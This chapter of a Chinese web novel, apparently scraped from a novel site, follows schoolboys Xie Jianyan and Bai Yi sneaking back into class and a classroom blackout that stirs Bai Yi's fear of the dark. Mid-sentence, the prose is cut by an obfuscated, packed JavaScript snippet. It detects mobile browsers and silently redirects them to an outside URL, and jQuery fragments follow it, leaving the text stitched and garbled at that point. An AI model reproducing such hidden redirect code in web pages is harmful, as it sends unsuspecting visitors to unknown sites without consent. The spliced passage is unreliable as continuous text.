清河五中的后边是一块平地,由于最近平地上搞水管整修,弄的噪音没日没夜的大。
一群学生趁着夜黑风高,偷摸着溜到了学校和平地之间的隔墙那。
隔墙有三米高,其他地方都是栅栏,就属这后边最特别了。
……
白烠突然明白了为什么学校栅栏上有尖尖的头了,原来是怕有学生翻栅栏,这样一来,怕死的学生或许就会乖乖上课了,不怕死的,兴许可以试一下。
“这么高……”张昌抬头望着那不知比自己高多少的墙,深深感叹道:“虎子,借我当个人肉梯子。”
“不借。”王天宇见谢简言从不远处搬了两个大石头来,他眼睛眯成一条缝,临近时,惊叹道:“我靠!这两石头加起来起码都有一个蟑螂重了!神人啊,谢简言,你的胳膊是铁做的???”
“不是,是肉做的。”
谢简言在墙外叠好两块大石头,一只脚放在上面随意踩了踩,确定了稳定性后,转身朝身后那群人道:“你们谁先上去?”
众人面面相觑。
“没人?那我先上去。”谢简言丝毫不费吹灰之力,单脚蹬上那石头,一个起跳翻身稳稳落到地面上。
其他人和谢简言现有一墙之隔。
白烠见状,也学着谢简言的样子,三两下便落到了学校后操场上。
谢简言伸手扶住他,白烠站稳后,环顾了一下四周。
灯火通明的班级,树叶的沙沙声,还有那……吃饱了没事干瞎巡逻的保安。
“艹。”白烠下意识低声骂了句,拖着谢简言迅速躲到了一边的草丛里。
那保安背着手,昂首挺胸,颇有一副领导姿态,见四下无人,竟还哼起了小曲。
这一幕要是给王天宇那几个看到,不得笑喷?要是有手机就更好了,给他录下来,必要时还可以拿来威胁保安大叔。
现在白烠只祈求张昌他们千万别下来,尤其是现在。
“渍,”白烠轻轻拍了一下自己的脸:“有蚊子。”
他探头看去:“保安大叔走了没?”
谢简言点了点头,对于保安大叔的骚操作他一直看不懂。人到了个没人的地方会莫名其妙心情好唱起歌?
“走了。”
谢简言站起身,向蹲着的白烠伸出一只手。
白烠自然而然的拉着那只手起来,掌心的温度逐渐增高。
“谢了,”白烠挠了挠脸颊旁刚刚被蚊子咬出的包,越挠越痒,挠到后面他直接发狠了,边往死里挠边道:“世界上为什么会有蚊子这种东西?!”
谢简言低眸看着白烠,看着那一小块被他挠成一大块,看着他白皙的皮肤一点点变红。
谢简言叹了口气,把白烠的手拉住:“别挠了,再挠该毁容了。”
白烠气鼓鼓的看向谢简言,那只蚊子把他的脸害的有够惨,不仅痒,还让他变丑了!
其实也不是很丑,有点像是拔完罐了那样,只不过红色更淡一点。
“都是蚊子害的,他要是不咬我我还不至于被自己挠毁容!”
“好,好……”谢简言看白烠这样,莫名还有点好笑。
“小言同学,你笑什么?笑我毁容吗?要不以后我再也不来学校了?你也就再也不用笑毁容的我了。”白烠说的还挺认真,但是个人都听得出来,这家伙生气了。
“别,”谢简言正色:“我笑刚才咬你的那只蚊子,那么一小只能把你咬成这样,其实也是挺厉害的。”
白烠还想说什么,另一边突然传来几道声音。
“喂,虎子,你跳一下,手攀到那墙头,不是,我怎么感觉你有点笨笨的?”
“你有本事你来,你知不知道这墙面有多粗糙?人在上面摩擦不疼啊?”
“不是,你怎么跟个小姑娘似的?刚才那两不就翻的好好的,你加把劲,咱们或许还能赶上第二节晚自习。”
王天宇使尽浑身解数,终于是憋着一口气从墙头上滚到了后操场的草丛上。
身体被草扎的时候还顺便被野草喂了一口野草大餐。
“呸呸呸,哕,真难吃。”王天宇吐完一嘴的草,恰巧看到一旁路灯下的谢简言和白烠二人。
“喂,白烠!谢简言!”王天宇降低音调,从杂草上爬起来拍拍屁话往路灯那去。
其他人也接二连三跳墙进入学校。
张昌一进来就感觉空气不再那么清新,月亮也不再那么亮,晚风也不再那么沁人心脾……
啊!还是外面的世界更适合他!
张昌是这样想的。
谢简言扫了一眼教学楼,他们现在要想顺利回到班级那就必须趁老师不在的时候,要是半路碰到个老师,那他们该如何说?说自己三小时前被火星人抓去做实验了?现在才刚刚被放行?还是说被人挑衅顺便吃了几个大西瓜?
好像都不是很行的通。
“你们跟上,我走前面,尽量保持三米距离,后面的人不要分太远,尽可能的和旁边人减少空隙。”谢简言说完,身后一堆人点了点头。
学校的路灯不是哪里都有的,总有一段路明一段路暗。
谢简言敏锐警觉的走在前边,乍一看宛若鸡妈妈带了一群鸡崽子……
被抓到是不要紧,主要是谢简言觉得编谎言麻烦,况且就算他不念书,身后那群人也还是要在学校混的,玩脱了影响不好。
确认没老师后,谢简言拐过一个弯,到达教学楼楼梯下面,如果可以形容的话,他们现在已经抵达了一整个任务中最危险的地方,搞不好就会被一枪毙命,搞的好屁事没有。
今天一个晚上都是残阳的课,但愿肋骨不会脑袋开荤跑班上去。
谢简言贴着墙壁,偏眸往楼梯上面看去,很安静,没有声音,但不排除没有人的几率。
谢简言对身后那群人道:“等一下。”
张昌打了个口语:“OK。”
谢简言上了楼。
张昌闲的无聊,一颗心却被揪的很紧,他佯装镇定,扭头看到谁就和谁聊天,很不幸,他旁边是白烠,一个乖乖男,不会和他贫嘴。
但张昌还是开口道:“白烠。”
“怎么了?”白烠转头看向张昌。
“你不觉得谢简言很牛逼吗?”
“觉得。”白烠虽然在和张昌聊天,但眼神还是会有意无意往楼道方向飘。
“你觉得他哪里牛逼?”
“哪里都牛逼。”
“……”果不其然,张昌这么会聊天的人都在白烠这败下阵来,白烠就是个话题终结者。
除了谢简言还有谁能和白烠说的下去?
不多时,谢简言慢吞吞从楼上走下来,冲那一堆躲在墙后的人打了个手势。
“上来。”
“安全吗?”张昌小心翼翼探出脑袋,楼道里确实很安静。
“安全。”谢简言转身依旧走在前面,后面那些人亦步亦趋的跟着,玩不好小命还会玩完。
但好在这一路都挺安全,没碰到什么地中海大猩猩,也没碰到青龙白虎组合。
他们就这样一直走到了高二六班门口。
真是顺风又顺水!
恰巧老师也不在讲台上,班级里闹哄哄的。
“小小,你说我这关怎么过?胡萝卜藏在那手套下面了,我只剩一个空位了,完蛋,早知道就不这么走了。”程佳灵把手机伸到方小小面前,方小小看了一会也不知道这局该怎么办。
“佳灵,认命吧!胡萝卜是不会圆满的!”
“不要啊,这一局我玩了十分钟,好像从这节课开始老师就没来了,话说回来,岁岁宝贝去哪了?”
要是残阳知道自己被青春美少女叫宝贝,那心得飞到哪去?
“应该是改作业猝死了,但我平时看他挺闲的,很少在办公室待。”
“害,可能年轻老师都这样,妈逼的,这个羊了个羊改名叫羊了个逼得了,气死老娘了。”
“冷静,冷静……诶,谢简言?”
方小小看到谢简言冷着一张脸从窗外经过,紧接着,后面跟了一堆人。
谢简言率先进班级安安静静的回到座位上,白烠也是,但不过定睛一看,白烠左脸颊是不是有点肿还有点红……
“嗨嗨嗨,你爹来咯!”张昌刚踏进门槛就开始发癫:“怎么也飞不出,花花的世界~”
“原来我是一只,酒醉的蝴蝶~”王天宇接了下半句。
讲台桌下一堆人哈哈大笑。
“你们去哪了?怎么现在才来?”程佳灵托腮,目不转睛的盯着张昌。
“去澳大利亚打自由搏击了。”张昌迈着快乐欢愉的步伐蹦到座位边坐好。
“开玩笑的,其实是去帮奥特曼打哥斯拉去了。”
“……正经点。”
“去野生篮球场,收拾那些清河七中的废物。”张昌说到这,又不免要提起那些人倒立吃西瓜的怂样:“哈哈哈哈哈,笑死我了,我跟你们说,七中那群dog,吃西瓜吃的鼻涕横流,一副丑样还扬言说要我们好看,你说说,是不是特好笑?哈哈哈哈!!!后来虎子直接去路边捡了根稻草在他们每个人的鼻子上晃悠,这下保证乖乖的!”
“这么有意思?你不早说,早知道就带全班人去看了。”程佳灵作后悔样。
“得了,这么多人逃课,那厕所里岂不是挤满了拖把?”
张昌突然意识到什么,问道:“老师呢?”
“哦,从上课到现在都没进来过。”
“啊?啥玩意?”
前有学生逃课,后有老师逃班?
差不多快下课的时候,门外才经过一个熟悉的身影。
岁须这逃班时间未免有点小长,说是掐着下课的点来走个形式的都不为过。
白烠低头写作业,谢简言立着书本靠在一边的墙壁上看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368327|183921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,悠哉悠哉,怎么看怎么像公司高管。
岁须刚进门时朝谢简言抛了个媚眼,谢简言精准捕捉,冷了他一眼后,复又垂眸看书。
忽然,“咔嚓”一声,黑暗一闪即来。
“我靠?!停电了?跳闸了?”张昌大喊,周围也是此起彼伏的声音。
“什么情况?学校惹到鬼了?”
“妈的,这什么垃圾电灯,电功率这么大的?我们这小破校供应的起吗?”
“刺激!兄弟们!刺激!”
“刺你妈个刺激,渴望红衣女鬼牵你回家?……”
谢简言下意识拉住了白烠的手,周围漆黑一片,除了那些不怕黑的敢乱吼乱叫,其余的都异常安静。
现在最起码让白烠别那么害怕,原本亮堂堂的地方只一瞬就被黑暗笼罩,或许比直接进入一个黑暗的空间更令人胆战心惊。
白烠心跳加速,胸口闷闷的,他尝试闭上双眼,但没用,依旧是黑的,一颗心刹那间提到了嗓子眼。
他有多久没见过真正的黑暗了?从进入禁闭室的那刻起,他就应该明白,人类最深的恐惧,来源于永无止境的黑暗。
黑暗中什么都看不见,但鞭子次次下落的破空之声却愈加清晰。
身上的鞭痕,下手之人字里行间的贬低,无疑都是白烠对黑暗最深的恐惧,这种恐惧他经历了三年。
“五岁,六岁……母亲走了……他把我送到外婆家……十六岁,我被接回来了,过的一点也不好,要不是迫不得已,那我宁愿一辈子都待在乡下,直到死去。”
讲台桌上隐隐有了亮光,岁须把手机里的手电筒功能打开了。
“大家别慌,可能等一下灯就会亮了。”
“啊……”张昌还有点失望:“那能不能明天早上再亮?”
“抱歉,恐怕不行。”
张昌拉着王天宇跑到岁须的手机后面一点:“来来来,虎子,咱两整个手影戏。”
“小屁孩才跟你玩这个,幼稚,我不要。”王天宇转身就要走。
“别啊,包你越玩越年轻!”
张昌单手扯着王天宇衣角硬是把他拉了回来。
“看我,看我,呜呼~这是老虎。”张昌伸出两只手,用手指摆出一只老虎的样子。
“切,”王天宇白了他一眼:“你这是狗熊还差不多。”
“你行你来呗?”
“我来就我来……”
“……”刚开始到底是谁说幼稚来着?
白烠趴在桌上不自觉攥紧了手,谢简言感觉手上的力道加重了,垂眸望去,白烠骨节分明,只是由于力道重,现下有点青筋突起。
“你在怕什么?”
白烠趴在桌上轻轻摇了摇头。
“那你为什么要趴着?”
白烠抬起头,眼睛还有点睁不开。
“我什么都不怕,我只是在睡觉。”白烠说着,又趴了下去。
“……”怕黑就怕黑,我又不是不知道。
半晌,谢简言才淡淡回了一个“好”字。话虽这么说,但白烠手上的力气倒是一点没减小。
也不知道是谁那边说着不怕另一边又把别人抓的死紧。
谢简言没松手,他扭头看向窗外,星光点点,这个城市的夜空还是一如既往的好看,但自从两年前去到了百绘村郊外,再如何美丽的夜空都敌不过那只见过一次的夜晚。
其实……黑夜也没什么好怕的。
谢简言是这样想的,也是这样做的。
他松开了牵着白烠的那只手,白烠只觉掌中一空,凉气接二连三往手心涌入。
谢简言二话不说就上手把白烠扒了起来,白烠一脸懵逼,抬眸去看却只看见谢简言的衣襟。
“你干什么?!”
“没干什么,请你看个风景。”
谢简言松开手,扶着蹬脚,把白烠强制性连着凳子转了个身。
“你在搞什……么……”白烠抬眸,一眼望见清河上空。
虽然周围漆黑,没什么氛围感,也只能透过不大的窗子看见那天之一隅,但这丝毫不影响夜空的美。
看了一会,白烠道:“现在如果是在家乡,那就一定会有萤火虫。”
谢简言为了给白烠一个更加宽广的视野,自己拉着板凳跑到了距离课桌一米处坐着,旁边就是垃圾桶。
他背靠在墙上,缓缓道:“你很喜欢萤火虫?”
“也不是特别喜欢,但我外公基本上都会在晚上带我出去散步,顺便抓几只给我玩。”白烠肯定不会说,那些萤火虫都被他玩着玩着放飞了。
讲台上闹哄哄的,就这一角安静些。
“行,那你带我回家,我天天跟你去散步,顺便看看萤火虫。”
白烠笑道:“大后天我生日,刚好星期六,你答应过我的,要和我一起回去。”
“好,”谢简言刚说完,灯就亮了,还有点刺眼。